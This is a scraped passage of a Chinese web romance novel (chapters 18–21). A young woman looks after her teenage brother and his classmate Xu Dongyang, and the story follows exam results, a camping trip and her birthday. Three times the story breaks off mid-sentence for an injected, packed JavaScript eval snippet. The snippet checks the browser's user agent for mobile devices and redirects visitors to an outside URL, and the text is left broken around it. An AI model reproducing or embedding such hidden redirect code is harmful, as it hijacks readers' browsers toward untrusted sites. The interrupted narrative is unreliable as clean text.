谈小白“嗷”地一声窜到绪东阳身后,死死拽住他校服下摆,只露出半个脑袋:“绪东阳救我!我姐家暴!” “姐,你太伤我心了!我这次真考好了!” “我信你个鬼!” “请苍天!辨忠良!” 谈丹青举着扫帚逼近,绪东阳顿时成了人形盾牌。他想侧身避开,却被谈小白揪着衣服左挡右挡。三人像在跳诡异的探戈,直到谈丹青的拖鞋不小心踩在他的球鞋上。 “绪东阳,你到边上去,”谈丹青终于停下,扫帚杆“咚”地拄在地上,一缕碎发粘在唇角,说:“你边上去,不然打到你,可不要怪我。” “绪东阳,你不要让!” 就在争执不休时,绪东阳开口说:“谈小白这次考了年级前300。” “嗯?”谈丹青压根不相信自己耳朵。她眨了眨眼,突然左脚绊右脚地往前踉跄了一步。绪东阳下意识伸手去扶,正好接住她歪倒的身子。 谈小白? 前300? “对!”谈小白终于从绪东阳身后闪了出来,“现在你信了吧!你弟弟我咸鱼翻身!学渣逆袭!!!” "多、多少?"谈丹青抓着绪东阳的小臂站稳,声音都变了调。“前300?真的假的。” “真!比金子还真!”谈小白将成绩单交到谈丹青手里。 谈丹青尖声:“250?!” 谈小白捂耳朵,无奈道:“姐,你能别骂人吗?” “你小子,”谈丹青揪谈小白的耳朵,“我就说,我谈丹青怎么可能有个傻子弟弟。” 谈小白傻乐。 谈丹青看谈小白的成绩单。这么多年了,哪一年她不是被老师啐?瞧瞧,瞧瞧,今年可是个双黄蛋,可算扬眉吐气了。她就说嘛,她谈丹青的弟弟们,能差到哪里去? 绪东阳默默退后半步,垂在身侧的手指微微蜷起,看着这对姐弟闹作一团。 谈丹青眼眸流转,忽然朝一直沉默不语的绪东阳睨去,纤长白皙的手指轻轻叩了叩他垂眸盯着的台面,“绪东阳,你呢?” 绪东阳缓缓抬起了头,“什么?” “就你,”谈丹青好笑道:“你这次考得怎么样?” “绪东阳的实力你还怀疑?年级前十啊!”他卧倒在沙发上打滚,感慨:“哎,明明每天都是吃一口锅煮出来的饭,怎么差别这么大了?” “别妄自菲薄,”谈丹青说:“你这次进步很大,不错。” 她低头仔细看绪东阳的成绩单。 绪东阳每一门都很好。 数学和理科是他强项中的强项。 谈丹青看久了4打头的成绩,乍一看6打头的,还有些没概念。 “绪东阳,你这个成绩,W大H大能不能上?”她问。 “当然能啊。”谈小白接话:“随便挑的。” “那更好的呢?北京的,上海的。”谈丹青说。 “我就想留在W市。”绪东阳看着她说。 谈丹青却发出一声轻笑,说:“这是你现在说的话,等清华北大的录取通知书真来了,就要飞走了。” 今天双喜临门,谈丹青取出钱夹,挥手将谈小白叫过来,说:“今天晚上不做饭了,要好好庆祝一下,你去点外卖,看是吃火锅还是吃牛排。” 谈小白说:“就吃火锅吧,在家吃,也不用叫外卖,我下楼买菜上来。” “行,”谈丹青给了谈小白一张附属卡,说:“把绪东阳带着,多买点牛肉卷和羊肉卷。” “诶,到底谁是你亲弟啊……”谈小白埋怨。 谈丹青故意说:“谁成绩好谁是我亲弟,还不快去。” “嗻。”谈小白一步三跳,和绪东阳一起出门。 一下楼,正撞上了同样牵着小孙儿下楼的邻居大婶。 “哎哟哎哟,”大婶立刻尖声叫了起来,“哪儿冒出来的年轻人啊,吓着我的小宝了。” 大婶怀里的小家伙,非常配合地嗷嗷哭了两嗓子。 谈小白忙将绪东阳拉开,说:“吴婶,这我同学。” “哦,你同学啊,也一中的?成绩好不好啊?”吴婶打听起来。 “好!贼好!” “嚯……那教教我家小宝奥数咯。”吴婶说。 谈小白像捧梗的,笑着说:“您家小宝十根手指头都数不全啊!怎么学奥数?” “哪里的话哟,你家到底几口人啊?次次见着都不一样哦……” 吴婶的声音被留在楼梯上,绪东阳跟着谈小白往超市走,皱眉问:“经常有人这么说吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绪东阳平时话不多,做很多事都是静默无声。她有时候回到家,会看到绪东阳在台灯下刷题的背影——少年弓着的脊背像一张拉满的弓,笔尖在纸上划出的沙沙声,在深夜里清晰得像针掉在地上。 她默认绪东阳和他所表现出来的一样早熟,但其实说起来,他也就是个家里闹矛盾离家出走的小孩儿。他在她这儿住了这么久,他父母甚至都没有问过一声。 “有什么办法吗?”她追问,声音里有不寻常的急切。 何薇说:“像绪东阳这样的尖子生,知识点其实都已经掌握牢固了,所以主要还是个心态问题。心态这个就要看怎么调了。” 对于调整心态,这真涉及到谈丹青的知识盲区。她自己就是个大心脏,主打一个绝不内耗。谈小白和她差不多,成绩吊车尾,天天乐呵呵。所以她真不知道,像绪东阳这样的学神要怎么调整心态。 谈丹青难得上网查起了资料,然后老爷爷看手机一样一行一行学习: “如何调整考生心态?” “家有考生吃什么?” “状元食谱……” 正想着,谈小白和绪东阳提着两大包食材回来。 “开饭开饭!” 小火锅在餐桌中央咕嘟咕嘟冒着泡,红油汤底翻滚着花椒粒,蒸腾的热气模糊了三个人的脸。 谈小白筷子使得像打鼓棒,羊肉片刚变色就被捞走,在蘸料碗里滚一圈就进了嘴,烫得直哈气。 半大小子,吃穷老子。有谈小白和绪东阳两人战斗力果然非凡,买的两大包肉和菜,竟然全都吃完没剩。 吃完后,谈小白下楼倒垃圾,绪东阳在厨房洗碗。谈丹青悄然进去,说:“绪东阳,碗放着吧,让谈小白洗,不用你洗。” “没事,”绪东阳熟练地冲着水,“还剩一个。” “先放着吧,”谈丹青坚持,说:“我有话跟你说。” 绪东阳放下碗,扭头看她。 19. 第 19 章 谈丹青倚着厨房门看他。 她在家时习惯将那头乌黑蓬松的长发松松挽起,留几缕碎发垂在耳际。那几缕发丝随着她的呼吸轻轻晃动,像是水墨画里随意勾勒的笔触,慵懒却不凌乱。 “我刚刚给你们何老师打电话了,问了你的成绩。”她开门见山。 绪东放下碗,水珠顺着指缝滴落进水槽。他抬手取下干净白色抹布,默不作声地缓缓将手上的水擦干。 “她跟我说,你这次退步了。” “有点吧。”绪东阳说。 “怎么回事呢?”她的声音越来越近。不知何时,她已经走到了他的身旁,微微倾身,去拿余下的碗,厨房顶灯在她的睫毛下投出一片鸦羽的阴影。 厨房本就狭窄而拥挤,她耳畔发梢的香味飘了过来,是熟悉的橙子香。 “状态没调整好?想着家里的事?”她继续问道。 洗碗槽里的泡沫正在一个个破裂,绪东阳喉结滚动,“没。” 谈丹青等了好一会儿,只等到绪东阳敷衍的一个“没”。 “行,”她笑笑,说:“你不爱说,那就不说,谁没点不想说的事?那你住在我这儿,有没有什么不适应的?” 绪东阳再次摇头。 “那谈小白呢?他有没有影响到你学习?”谈丹青拧大水龙头,冲着碗面上的食物残渣。 “没。” “谢谢你帮谈小白学习,但别把自己给影响到了。”谈丹青说。 她洗着碗,轻轻叹了口气,说:“你第一次来我家里的时候吧,我对你还不了解,你又打了我弟弟,所以当时我的确对你有很大偏见。但现在,” 她抬头看他,他和她站得太近,能看清她眼底映着的自己的倒影。 “我知道你本性不坏,是个好孩子。你跟谈小白一样大,你在我眼里,你就跟谈小白差不多。所以,你有什么难处,尽可以告诉我。” 这番话已足够让绪东阳胸中烧火,没想到谈丹青将冲洗好的碗放上淋水台后,接着又随口问,“家里给的零花钱够吗?” 话音未落,绪东阳猛地抓上了谈丹青的手腕。 掌心的水渍立刻浸透了她袖口的布料,甚至能感觉到他指尖的颤抖。 谈丹青愣了愣,扭头看他。少年人的眼睛在厨房暖光下亮得惊人。 他胸口剧烈起伏着,像是有什么东西要破膛而出。 “够。”他生硬地截断话头,将碗从她手里抽走,然后拧开水龙头至最大,躬身继续冲洗。 谈丹青瞥向绪东阳洗碗的手,他的手上今天又系了一圈白色绷带。那玩意儿就算是防水款,也不能被水这么冲着,看得她眼皮直跳。 “还有,”她将水流关掉,说:“你的手又是怎么回事?我看你手上总有伤。你们何老师也没跟我说,你在学校打架了。” “我练拳弄的。”绪东阳说,将最后一只碗擦干净放好。 绪东阳房间有几只沙包,谈丹青便信以为真。 她拽住绪东阳上身卫衣的袖管,不由分说将他往客厅推。 谈丹青的力道再大也大不到哪儿去,但绪东阳完全没想到她会突然拽自己,一时不备,被她扯得一个踉跄。 “我还真是服你了,那你就轻点打啊!”谈丹青径直将他按到沙发上坐好,俯身,小心翼翼地解开那圈湿透的绷带。肩上的碎发往下掉,刷在了绪东阳的肩上。 指关节处破皮的伤口被水泡得发白,谈丹青短促地倒抽了口气。 “啪!” 她一巴掌就甩在绪东阳肩上。 这一巴掌下去,两个人同时心惊了一瞬。 巴掌打得很响,脆生生的,屋里甚至能听到回音。 绪东阳意外地看着谈丹青。 她手劲实在不大,很用力地甩过来,打在他身上也就像拍了拍,留着手掌细腻的温度,凭空生出了几分暧.昧。 谈丹青完全是看绪东阳这么自己折腾自己心里冒火,但也没想到这一巴掌会闹出这么大动静。 两人四目相对,都安静了好一会儿。 谈丹青转身从茶几下搬医药箱,她背对着他,漂亮的肩胛骨起伏了一会儿,拿出云南白药、酒精和绷带。 “自己涂药。” * 谈丹青向来赏罚分明,考得差,那就一顿乱棒;但考得好,绝对大大有赏。 她赶了两天功,将一批新款提前上架,腾出了一个周末,带谈小白和绪东阳去城郊玩。 郑芳这天也没事儿,问她去哪儿,听说要去野营,忙说:“一起一起。” “你要带你那小男朋友?”谈丹青问。 “行不行嘛。”郑芳撒娇。 “行,人多热闹,也能多买点烤肉。”谈丹青说:“不过我带着小孩儿,你俩可不许当着他们的面做少儿不宜的事。” “嚯,”郑芳嗤笑,说:“还小孩儿,都多大了啊!说不定他俩玩得比你还花。” “停停停。”谈丹青说:“我亲弟啊,你这叫我怎么面对。” 谈丹青将车停在路口,谈小白和绪东阳两人大包小包在路边等她。谈小白滚上后车厢,绪东阳却没上车,而是绕到了驾驶座这一侧。 谈丹青降下车窗,说:“做什么呢?上车啊。” 绪东阳在车窗外俯身,手肘撑着窗沿,说:“我看距离很远。我开吧。” 谈丹青挑眉,“你有驾照?” 绪东阳说:“我19了。” 绪东阳生日月份早,读书比谈小白早了一年,去年就拿到了驾照。 谈丹青笑了起来,说:“想摸方向盘呢?”这个年龄的男生都喜欢车,抵抗不了能摸方向盘的机会。 绪东阳嘴唇动了动,下颌线绷紧又放松。 他不想摸方向盘,但开车出城至少要一个小时,他不想让谈丹青开这么久。可他如果这么说,谈丹青绝对会让他滚的。 “是。” “行。”谈丹青大方地将车让给他,说:“开慢点。” 她以为绪东阳开车会很冲。没想到他车开得倒是很稳,也没有路怒症。 一连开了一个多小时,到野营地点,郑芳和她的小男朋友也到了。附近还有许多年轻人来春游。 “怎么来这儿啊。到处都好脏,”郑芳的男朋友其实只比绪东阳大一岁,今年二十了,但表现得非常矫情,一直两臂抱在胸前,十指不沾阳春水,用嫌弃的眼神看看这儿,看看那儿。 谈丹青跟绪东阳吐槽过,这回于波一开始抱怨,她就跟绪东阳交换了一个只有一起在背后蛐蛐过人才懂的眼神。 “我喜欢去干净的地方,这里真是脏死了。姐姐,我们怎么不去之前那个五星酒店呢?那里还能游泳,姐姐。”于波喋喋不休。 郑芳说:“这里风景很好呀,可以看看风景。” “嘁。”小男朋友达不成自己的目的,立刻垮下一张臭脸,钻进车里玩手机。 郑芳忙追进去哄他,说:“你要是喜欢在五星酒店度假,我们下次就去,好不好嘛。” 两人一走,谈丹青白眼翻上天,小声跟绪东阳吐槽:“要不是因为郑芳喜欢他,他刚摆脸色的时候,我就叫他滚蛋了。” 绪东阳架上帐篷,他半跪在地上,用锤子将铁钉一点点锤进土里。每一次挥锤,衣袖都会滑落一截,露出线条紧实的小臂。 “郑芳姐喜欢他什么呢?”绪东阳无法理解。 “谁知道呢,”谈丹青说,她在一旁搭把手,给绪东阳递锤子和螺丝刀,“可能他长得好看。” “他属于女生喜欢的长相?” “算吧,挺秀气的。”谈丹青说:“然后还嘴甜,会叫姐姐。” 绪东阳浓眉骤然拧紧,冷淡地说:“男人如果真心喜欢谁,绝对叫不出姐姐。” 最后一个词几乎是从牙缝里挤出来的,带着说不清的执拗。 谈丹青低头抖开防水布,帆布在风中猎猎作响。她正要固定边角,突然手一顿—— “等等……”她慢慢直起腰,眯起的眼睛里闪着危险的光。 “绪东阳,”她微抬下巴瞅着绪东阳,“你叫人家郑芳就叫姐,怎么没听你叫我一声姐啊?” 绪东阳帽檐下的阴影,藏住了他深如黑墨的眼睛。他一言不发,转身去调整帐篷支架,金属杆碰撞出清脆的声响。 “小混球一个。”谈丹青轻声笑骂了一句。绪东阳就是不肯甜滋滋地叫她一声姐,但她其实也习惯了。有的人骨头硬,可能一生都说不了几句软话。 营地里都是年轻人,来的时候谁也不认识谁,但互相借把锤子剪刀,送一盒牛奶饼干,就熟悉了。谈小白更是活宝,他有一种独特的天赋,无论和谁混在一起,聊个四五句,就能成穿一条裤子的好兄弟。 “什么!原来你的内衣品牌就是‘丹心’,别开玩笑好不好?!我现在穿的就是!”聊着聊着,隔壁帐篷的女孩儿突然从折叠椅上弹起来,差点打翻啤酒罐。 “这缘分……”谈丹青笑着喝梅子酒,她也万万没想到,出来玩还能遇到老客户。 他们这边笑闹声此起彼伏,隔着烧烤炉冒出的热烟,谈丹青朝绪东阳望了过去。 绪东阳独自坐在烧烤架前,黑色卫衣的兜帽松松罩在鸭舌帽外。他从不主动和谁说话,但只是站在那儿,很快就吸引了不少目光。 几个女孩推搡着走近,“要不要一起玩桌游?” 绪东阳头也没抬,翻动烤肉夹的手指骨节分明。肉片在铁架上滋滋作响,“不用。”他声音很淡,像在拒绝一杯白开水。 那群女孩便悻悻离开。 这些谈丹青都看在眼里。 她回到他们的营地,将绪东阳手中的烤肉夹抽走,新鲜红艳的肉块在铁板上冒出滋滋油响,迅速边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610475|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缘卷曲,“这儿我盯着,你去跟他们一起玩呀。” “不用。”绪东阳说。 谈丹青忍不住端起了姐姐的架子,“别这么内向,要多走出去,多跟人交流。以后你毕业了工作了,免不了的。” 可绪东阳不接话,另又取了一只烤肉架,在她身旁和她一起烤羊肉和猪扒。 谈丹青劝不动他,也只好随他去了。 烤肉想烤得好吃,其实也挺费心。眼睛要一直盯着架子上的肉块,哪一面烤焦了,就要赶快翻过来。绪东阳心细,做事又有耐心,经了他手的烤肉,每块都烤得金黄,一看就叫人食指大动。 谈丹青本想帮着烤,但对比之下,还是别暴殄天物为好。 于是最后演变成,她守在烤肉架旁,绪东阳烤好一块,她就吃一块。 “还想吃什么?”绪东阳问。 “来个牛肋条!”谈丹青兴致勃勃地点餐。 绪东阳将刚烤好的牛肋条夹出来,细心地剪去边缘多余的脂肪。 “好哇好哇!”谈小白玩够了回来,看到这一幕,鼻子都气歪了。他搡了绪东阳一把,抢过烤肉夹,“看清楚这谁姐了吗,你就喂,边上去边上去,我才是我姐最忠实的仆人。” 绪东阳无奈。 谈丹青也哭笑不得。 可惜谈小白的手艺也不如绪东阳,烤坏了几块,被谈丹青发配边疆——剥蒜。 “太香了吧。”郑芳和于波也从帐篷里出来。 “快来吃饭!”谈丹青招呼道,“都是绪东阳烤的。” 于波一整天什么都没做,吃起饭来倒是积极。他还眼尖手快,将谈丹青给郑芳留的牛排全吃了。谈丹青气得都不想再多看他一眼。 吃得差不多,天色也晚了下去,林子起了白雾,树影幢幢,偶尔传来几声不知名的虫鸣。 谈丹青打算去溪边洗个手,但小溪那头人少,谈丹青一个人过去并不安全。绪东阳放下烤肉夹,说:“我跟你一起去。” 谈丹青说:“嗯,你的手也得洗一洗。” 绪东阳的手摸过碳灰,都弄黑了。 通往溪畔的小径隐没在茂密的灌木丛中,月光只能零碎地漏下来,在凹凸不平的土路上投下斑驳的光影。谈丹青的高帮帆布鞋不时陷进松软的泥土里,每一步都走得小心翼翼,深一脚浅一脚。 绪东阳走在她前面,穿黑色卫衣的身影在夜色中忽明忽暗,他刻意放慢的脚步,每走几步,便停下来等她,这么反复几次。等她再次走到他身前时,他开口说:“你拉着我吧。” 谈丹青“啊”了一声,还未反应过来,就见他弯腰从路边拾起一根笔直的树枝。 树皮已经被雨水冲刷得光滑,在月光下泛着温润的光泽。他利落地折去多余的枝杈,将一端递过来。 “拉着这个。” 夜风拂过灌木丛,沙沙作响。谈丹青盯着那截树枝看了两秒,心中不大愿意,但有东西拉着,的确要安全一点。她慢吞吞地抬起手,刻意隔着袖口握住树枝末端,却还是能感受到另一端传来的,沉稳而克制的力道。 这么走,的确轻快了很多。 “你说,这儿会有蛇吗?”谈丹青警惕地观察脚下的草丛。 “不会。”绪东阳说。 “可你怎么知道呢?”谈丹青抬杠,“我觉得有可能。” “野生蛇很贵。”绪东阳解释。 “好吧……”这里如果有野生蛇,早被附近村民捕走了。在这儿碰到野生蛇,和在地上捡到一百块是一样的概念。谈丹青不由也放下心来。 到了小溪边,谈丹青蹲在青苔斑驳的石板上,掬起一捧水拍在脸上。溪水凉飕飕的,很舒服。 她正享受着,却在静谧的夜色里听到了窸窸窣窣的声音,她心头一紧,不会真的有蛇吧。 她紧张地要回头寻那声音的源头,绪东阳突然两手紧紧捂住了她的耳朵。 “别往那边看。”他沉声说。 温热的手掌毫无预兆地覆上她的双耳,他的掌心干燥温暖,瞬间隔绝了所有声响。 谈丹青能感觉到他俯身时胸膛贴着自己后背的温度,还有他骤然加快的呼吸声喷在自己的面颊上。 月光下,两人的影子在溪水中交叠成一团模糊的轮廓。谈丹青僵在原地,视线被迫固定在绪东阳的脸上。 溪水的潺潺、树叶的沙响、远处的篝火噼啪声——所有的声音都在逐渐消弭无踪,她的世界里,最后只剩下绪东阳的一双眼睛。 那双在初升朗月下愈发幽深的眼睛,瞳孔漆黑如墨,像是能吞噬一切光亮的旋涡。 谈丹青不自觉地屏住了呼吸,恍惚间觉得那双眼中有某种她读不懂的情绪在涌动,炙热又克制,像是冰封下的暗流。 一个近乎荒谬的念头,突然在夜色里冒了出来—— 绪东阳该不会是…… 喜欢她? 20. 第 20 章 几分钟后,树下那对男女穿好衣服回去。 夜色如墨,溪畔虫鸣重新响起,绪东阳率先松开了手。 他起身捡起方才引路的木棍,“走吧。”声音比平时低了许多。 “嗯。”谈丹青也好似什么也没发生,伸出的手顿了顿,最终隔着袖口重新攥住。 两人之间隔了一根木棍的距离,像一条心照不宣的楚河汉界。 回去的路上,谈丹青有心事,不再关注路上有没有蛇。 银色的月光将他们的影子投在林中小径上,一长一短,时而交错,时而分离。 绪东阳走在前方,每一步都踩得格外实,好让身后的人不至于踉跄。 望着前方这道年轻山峰一样的背影,谈丹青一时心乱如麻。 她太清楚这个社会对女性的定价规则:青春和美貌。一旦失去了这两点,那么她就不配被看做是女性。她自己就做这门生意,太知道大家对少女感、幼感的追求。 就像于波这种人,他们也认为和姐姐谈恋爱是一件委身人下的事,是为了钱和好处,不得以而为之。他们甚至每天都觉得自己亏了,是屈辱。 而绪东阳就浸润在这样的环境里长大,怎么可能摆脱掉这种思想观念的影响?他就算早恋,也应该喜欢和自己差不多大,或者更小一点的学妹。 木棍另一端传来轻微的震颤,是绪东阳停下脚步等她。她立刻加快了脚步,掐灭在她心中刚刚冒头的荒谬的念头。 返程时,绪东阳还想开车。但这次谈丹青没让他开,“夜路不好开,过去坐着。” 绪东阳卷曲的黑色睫毛在顶灯下闪了闪,最终沉默着钻进副驾驶。 返程的公路像一条黑色缎带,蜿蜒消失在远方的夜色里。 这一晚大家都玩疲了,谈小白本来还会跟她说说话,以免她打瞌睡。但他声音越来越黏糊,最终变成均匀的呼吸声,脑袋随着车身颠簸,一点点歪斜,最后抵上车窗,发出轻微的呼噜声。 只有绪东阳始终保持清醒,专心致志地帮她看着路。他左手虚搭在车窗上,微凉的暖风灌进来,吹乱了他额前的碎发。 * 好好休整一晚,第二天谈丹青去公司。 郑芳刚跟mcn那边对接完工作,满腹牢骚:“这个姓吕的,真的一点都不靠谱啊。” “怎么呢?”谈丹青问。 “当初我们和他们签合同的时候,他们承诺会给我们推广资源倾斜的,结果到现在,屁都没有!”郑芳停顿下来喝水,继续说:“没有也就算了吧,我们店铺这么多年,也已经有私域流量了。但他今天还对我们这边出的方案指手画脚!说我们品牌审美不行,我的天啊,我们审美不行?” 谈丹青说:“审美不行?” “对!”郑芳更恼火,“他们嫌我们的风格丑!还PUA我,说我们粉丝少,就是因为审美不行。但他们给过来的修改方向都是些什么啊!直男黑丝风。我们是做正经内衣的,不是忄青趣内衣!” 胡小样小心翼翼地插嘴,说:“现在我们按他们提议的风格,已经调整做了一版推广了。评价……特别差……以前的老客户都反应说现在这个风格又土又直男。” “消消气。”谈丹青递给郑芳一杯水,说:“我跟吕力鼎那边再谈谈。”然后又对胡小样说:“保持我们原来的风格,不要再变。” “好。” 这时设计公司送来了新logo “哇哦!”郑芳看到新的logo设计,眼睛一亮。大红色品牌字样像藤蔓般缠绕着一轮新月,看起来像女人的侧脸。 “总算有点开心事了,新logo真的好看太多!”郑芳终于重新开心起来。 谈丹青也很满意。这事拖了太久,再拖下去,她也心里打鼓。 郑芳兴奋地往前翻设计谈丹青的设计稿,厚厚一大摞,纸页唰唰作响,不由感慨:“你真设计了好多啊……难怪成品这么有格调……” “诶……”她翻到最后一页,忽地停了下来,问:“logo上的侧脸,就是从这张图来的?”她的手指点在绪东阳的简笔画上。 “对。”谈丹青点点头。Logo并没有完全照搬侧脸,像其他品牌一样只取了原图的神韵,和logo融为了一体。 “画得好像啊。”郑芳突然说。 “好像?”谈丹青问:“像什么?” “像你啊!”郑芳哭笑不得。 “我?”谈丹青错愕:“你在骂我吗?这是抽象画啊……” “不是不是!我是说原图!”郑芳举起原图朝谈丹青走来,然后用手指指节,轻轻刮在她的鼻尖上,“就这段鼻梁的弧度,一模一样!你这里也有一个小小的骨节,不过转成logo的时候,把这个骨节给弄没了。” 谈丹青下意识摸自己的鼻骨,她的鼻梁相对女孩来说很挺,在隆起的位置骨骼感很明显,从侧面看的时候,就会有一个小小的骨节。这算是她的特征之一,增加了清冷的感觉。 “和我很像?”谈丹青再次确认道。 “不是像!就是你,我想起来这个侧脸是临摹哪张照片了。”她拿出手机,点开谈小白的朋友圈给她看,“就是这张吧。” 朋友圈背景海报上,她沐浴着金色的夕阳看海,拓出了她的侧脸。 两张侧影放在一起,如同一个模子刻出来。 谈丹青心口咚咚跳了起来。 刚压下去的荒谬的念头,又春风吹又生。 世界上哪儿有那么多荒谬的巧合。说是巧合,不如说是不知如何面对的借口。 * 谈丹青野营租帐篷交押金的时候,是绪东阳办的手续,当时谈丹青将身份证给了他。绪东阳看到了谈丹青的生日,十二月五日。 大名鼎鼎射手座,毫不意外。 从那天后,他就开始给谈丹青物色礼物。他也不知道谈丹青喜欢什么,现在的女生谈恋爱想要什么,他只打算给谈丹青买贵的。死贵死贵的,至少要比魏繁星送的贵。 他每年压岁钱极其可观,打拳俱乐部钱也多,在这方面预算充足。 终于想好买什么后,谈丹青的生日也到了。 这天一早,绪东阳在客厅喝温水,就见谈小白轻手轻脚地从房间钻出来,冒着腰走进客厅。 “做贼呢?”绪东阳端着水杯问。 “嘘……”谈小白说:“今天我姐生日啊……她今天过了生日就二十五了。” “二十五怎么了?” 谈小白瞪了他一眼,“女孩嘛,都会比较介意自己的年龄啊。总之,你今天别招惹她就是了。” 绪东阳说:“你这就是刻板印象。” “跟你说了也说不通。”谈小白说。 “你买了什么礼物?”绪东阳问。 谈小白说:“钱。” 绪东阳:“?” “我姐的生日礼物,就是钱。”谈小白说:“我姐绝对超喜欢。” 绪东阳松了口气。 没想到给他碰对了。 “她还没起么?”绪东阳问。 “我姐啊?”谈小白咬了口鸡蛋,说:“她今天一早就出去了啊。” “去哪儿?” “约会去了吧。” “约会?”绪东阳咬着这两个字问。 谈小白说:“我真不知道……” * 顶级酒店天台,可以俯瞰整座城市。 谈丹青站在这面巨大的落地玻璃幕墙前往外看,看到窗外车流如织。 她是土生土长的江城人,但她二十五年的人生里,却从没有从这个角度看过这座城市。以前她都是站在狭窄的小巷里,抬头往上看,于是她所能看到的城市,是窄的。天空被划分成一道又一道细窄的条。现在,她是站在城市的顶端,从上往下看,于是她所能看到的,是尖的,天空之下林立着一座又一座,像锥子一样的屋顶。 魏繁星的身影,突然倒影在她面前的玻璃上。 她回过头,笑着说:“魏总,您这段饭未免宰太狠了吧。” 魏繁星莞尔,嘴角荡出浅浅的梨涡,“丹青,生日快乐。” 他递来一只精美的礼盒,上面有巨大的Jimmychoo。 谈丹青惊讶:“你怎么知道今天我生日?” “不难查。”魏繁星说,“打开看看吧。” “谢谢。”谈丹青打开,礼盒里装的是一双精美的红色高跟鞋。当看到这双鞋,她就已经开始觉得痛了。鞋跟足足有十厘米,踩上后,脚背会弯成一面弓,模仿女性高超时的脚步状态,是名副其实的足部刑具。 这一刻,她莫名地去看他脚上的鞋。他穿着黑色真皮皮鞋。这双鞋帅气逼人,并且绝对不会伤脚吧。 夹在这双鞋中间,还有一张纸。那是一张收据和发票,抬头是魏繁星的公司。 她太清楚不过魏繁星的逻辑,他需要让她知道,他送的礼物有多昂贵。如果反过来,今天是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谈丹青朝那女孩儿看去,她也穿了一双Jimmychoo。 “反正他们以后肯定是要结婚的。”女孩儿说:“不过他出手很大方,不吃亏。” 谈丹青在包厢等了魏繁星将近两个小时,魏繁星一直没有返回。 她想回去,但又觉得不告而别有些不礼貌,便给他发消息:“你在哪儿?” 但魏繁星没回。 她起身出去,叫住一名服务生:“你好,请问你知道魏繁星在哪儿么?” “魏总?” “对。” “他好像有什么事,提前坐车走了。”那服务生说。 “已经走了?”谈丹青意外道。 “是。” “好,谢谢。” 她也拎包离开,坐进车里,她脱掉了脚上这双银色高跟鞋。后脚跟已经磨出了两枚血泡,钻心的疼。她换上自己的鞋,踩下油门。 开车到家后,已经是晚上十一点四十五。 距离她生日结束,只剩最后十五分钟。 她本来就不怎么喜欢过生日。 以前他们没什么钱,没有奶油蛋糕上摇曳的烛火,没有扎着缎带的礼物盒,生日这个特殊的日子,不过是日历上被铅笔圈出的普通一天。后来条件好些了,谈小白会偷偷用零花钱给她买巴掌大的小蛋糕。劣质奶油糊满一次性餐盒,她每次都笑着吃完,却在深夜看见谈小白偷偷舔包装盒上残留的奶油印子。 如今那些窘迫都成了往事。可每当生日临近,她还是忘不了这种拮据和不安。 此时此刻后脚跟的痛楚,再次验证了她的观点—— 过生日什么的最讨厌了。 指纹锁解锁提示声在寂静的午夜格外清晰。 谈丹青推开门,预料中的黑暗并未降临……暖黄的落地灯光像一轮小小的月亮,笼罩着沙发前那道挺拔的身影。 她以为谈小白和绪东阳都该睡了。 没想到绪东阳一个人坐在茶几前看电视。 “还没睡?” “嗯,在刷题。”绪东阳说。 21. 第 21 章 电视机荧屏溶溶的反射光里,绪东阳的面部轮廓看起来比白日温和。但那双漆黑的眼眸依然冷冽如淬冰,带着少年人不遮不藏的桀骜心劲儿。 他合上面前空白试卷,抬头扫了一眼墙上的钟,问她:“怎么回的这么早?” “别提啦!”谈丹青懒洋洋地打了个哈欠,在玄关口“哒哒”踢掉了脚上的高跟鞋。那双鞋是漂亮又精致,但绝不及她的脚。莹白的脚趾泛着珍珠似的光泽,圆润的指甲盖上点了可爱的红色豆蔻。 “过生日就是烦!” 她在入口穿衣镜前摘头饰、项链和耳坠,各类金属饰品落在托盘里的清脆作响。 “小白呢?”她侧着头问他。 “我去看看。”绪东阳起身时,沙发发出细微的吱呀声。 他走到谈小白的房门前,只推开一道缝,板着脸往里看。 动作像极了老父亲抓小孩儿晚上有没有偷玩手机。 “睡了。” “哦。” 谈丹青觉得这个画面特别好笑。 这大概就是传说中的少年感的爹? 不对,她怎么把自己的辈分给降了…… 在外装了一整天淑女,好不容易回到自己家,懒得继续在绪东阳面前也装。 她没什么形象地小心翼翼抬起右脚,那儿果然已经摩出了血,后跟处洇开一小片暗红,血珠已经凝结成痂。她金鸡独立,往沙发处一跳一跳。 绪东阳过来扶她,她手掌撑在他肌肉紧绷像钢筋的小臂上。 看见她的脚后跟出了血,高跟鞋上也沾了血,绪东阳单薄的嘴唇往下一压,阴阴沉沉地骂道:“你是不是傻缺?” 谈丹青怔了一下,以为自己听错了,她不可思议地瞪着绪东阳,“你刚刚说什么?你骂我什么?” 绪东阳不说话,只是扶着她往沙发走。 “我、听、到、了!”可谈丹青不依不饶,大声喊:“你骂我傻缺!好啊你绪东阳,胆子越来越肥了。还敢骂我???尊老爱幼懂不懂?!”她抬手就要抽他胳膊,但一松开倚着绪东阳手臂的手,身体便站不稳当。想抽他却没发力点,反倒被绪东阳捞住她差点往后倒的腰。 两个人的距离骤然拉近,护着她腰的手,像一道突然升起的护栏,充满了安全感和保护欲。 